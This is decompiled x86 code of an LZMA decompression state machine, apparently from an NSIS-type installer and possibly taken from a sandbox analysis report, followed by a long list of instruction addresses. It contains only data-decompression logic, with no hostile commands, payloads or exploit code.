								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00405fa8
0x00405fa8
0x00405fad
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00406665
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x00000000
0x00406687
0x00405faf
0x00405faf
0x00405fb3
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe9
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff8
0x00406016
0x00406018
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x0040623d
0x00406240
0x004061e3
0x004061e9
0x00000000
0x00000000
0x00000000
0x00406242
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061e0
0x00000000
0x004061e0
0x00405ffa
0x00405ffa
0x00405ffd
0x00406003
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060ec
0x004060ef
0x00406066
0x00406066
0x0040606c
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406179
0x0040617c
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x0040611c
0x0040611c
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406187
0x00406187
0x0040618a
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00406353
0x00406353
0x00406356
0x00406356
0x00000000
0x00406356
0x00406078
0x00000000
0x00000000
0x00000000
0x004060f5
0x00406041
0x00406045
0x004067b2
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406063
0x00000000
0x00406063
0x004060ef
0x00405ff8
0x00405e2c
0x00405e2c
0x00405e35
0x00406843
0x00406843
0x00000000
0x00406843
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00000000
0x00406611
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
